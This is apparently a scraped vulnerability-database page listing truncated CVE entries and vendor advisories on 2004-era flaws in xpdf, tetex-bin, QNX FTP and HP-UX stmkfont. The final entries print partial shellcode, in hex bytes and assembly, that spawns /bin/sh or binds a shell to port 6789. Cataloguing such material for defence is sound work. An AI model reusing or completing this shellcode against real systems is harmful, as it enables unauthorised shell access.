CVE-2004-1682

The CVE-2004-1682 entry concerns the QNX 6.1 FTP client, where a format string vulnerability in the QUOTE command can allow remote authenticated users to obtain group bin privileges. The root cause is improper handling of format specifiers in QUOTE, enabling privilege escalation. The provided doc...

HP-UX PHSS_31179 : HP-UX Running xfs and stmkfont, Remote Unauthorized Access (HPSBUX01061 SSRT4773 rev.2)

s700800 11.11 X Font Server Patch : Potential security vulnerabilities have been reported with HP-UX running xfs and stmkfont. These vulnerabilities can be exploited to allow remote unauthorized access to resources owned by group 'bin.'. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The...

security flaw

Buffer overflow in the Gfx::doImage function in Gfx.cc for xpdf 3.00, and other products that share code such as tetex-bin and kpdf in KDE 3.2.x to 3.2.3 and 3.3.x to 3.3.2, allows remote attackers to cause a denial of service application crash and possibly execute arbitrary code via a crafted PD...

CVE-2004-1125

Buffer overflow in the Gfx::doImage function in Gfx.cc for xpdf 3.00, and other products that share code such as tetex-bin and kpdf in KDE 3.2.x to 3.2.3 and 3.3.x to 3.3.2, allows remote attackers to cause a denial of service application crash and possibly execute arbitrary code via a crafted PD...

CVE-2004-1336

The CVE-2004-1336 issue affects tetex-bin 2.0.2, where the xdvizilla script creates temporary files with predictable filenames, enabling a local user to overwrite arbitrary files via a symlink attack. The vulnerability is described consistently across CVE, NVD, and CVE List entries. The available...

USN-48-1: xpdf, tetex-bin vulnerabilities

A potential buffer overflow has been found in the xpdf viewer. An insufficient input validation could be exploited by an attacker providing a specially crafted PDF file which, when processed by xpdf, could result in abnormal program termination or the execution of attacker supplied program code...

CVE-2004-1336

The xdvizilla script in tetex-bin 2.0.2 creates temporary files with predictable file names, which allows local users to overwrite arbitrary files via a symlink attack...

CVE-2004-1125

Buffer overflow in the Gfx::doImage function in Gfx.cc for xpdf 3.00, and other products that share code such as tetex-bin and kpdf in KDE 3.2.x to 3.2.3 and 3.3.x to 3.3.2, allows remote attackers to cause a denial of service application crash and possibly execute arbitrary code via a crafted PD...

Debian DSA-599-1 : tetex-bin - integer overflows

Chris Evans discovered several integer overflows in xpdf, that are also present in tetex-bin, binary files for the teTeX distribution, which can be exploited remotely by a specially crafted PDF document and lead to the execution of arbitrary code. %NASLMINLEVEL 70300 C Tenable Network Security,...

[SECURITY] [DSA 599-1] New tetex-bin packages fix arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 599-1 [email protected] http://www.debian.org/security/ Martin Schulze November 25th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 599-1] New tetex-bin packages fix arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 599-1 [email protected] http://www.debian.org/security/ Martin Schulze November 25th, 2004 http://www.debian.org/security/faq -...

USN-9-1: tetex-bin vulnerabilities

Chris Evans and Marcus Meissner recently discovered several integer overflow vulnerabilities in xpdf, a viewer for PDF files. Because tetex-bin contains xpdf code, it is also affected. These vulnerabilities could be exploited by an attacker providing a specially crafted TeX, LaTeX, or PDF file...

NSFOCUS SA2004-02 : HP-UX stmkfont Local Privilege Escalation Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NSFOCUS Security AdvisorySA2004-02 Topic: HP-UX stmkfont Local Privilege Escalation Vulnerability Release Date: 2004-10-20 CVE CAN ID: CAN-2004-0965 http://www.nsfocus.com/english/homepage/research/0402.htm Affected system: =================== - - HP-...

Debian DSA-207-1 : tetex-bin - arbitrary command execution

The SuSE security team discovered a vulnerability in kpathsea library libkpathsea which is used by xdvi and dvips. Both programs call the system function insecurely, which allows a remote attacker to execute arbitrary commands via cleverly crafted DVI files. If dvips is used in a print filter, th...

DSA-554-1 sendmail - pre-set password

Bulletin has no description...

linux/x86 symlink . /bin/sh 32 bytes

No description provided by source. /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version size = 32 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov byte esi+7,al...

bsdi/x86 execve /bin/sh 46 bytes

Exploit for bsdi/x86 platform in category shellcode ================================ bsdi/x86 execve /bin/sh 46 bytes ================================ / BSDi execve of /bin/sh by v9 email protected / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. /...

solaris/SPARC portbind port 6789 228 bytes

Exploit for solaris/sparc platform in category shellcode ========================================== solaris/SPARC portbind port 6789 228 bytes ========================================== / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 , / include / void mainvoid asm" !...

freebsd/x86 execve /bin/sh 37 bytes

No description provided by source. / This is FreeBSD execve code.It is 37 bytes long.I'll try to make it smaller.Till then use this one. signed predator preedatoratsendmaildotru / char FreeBSDcode= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...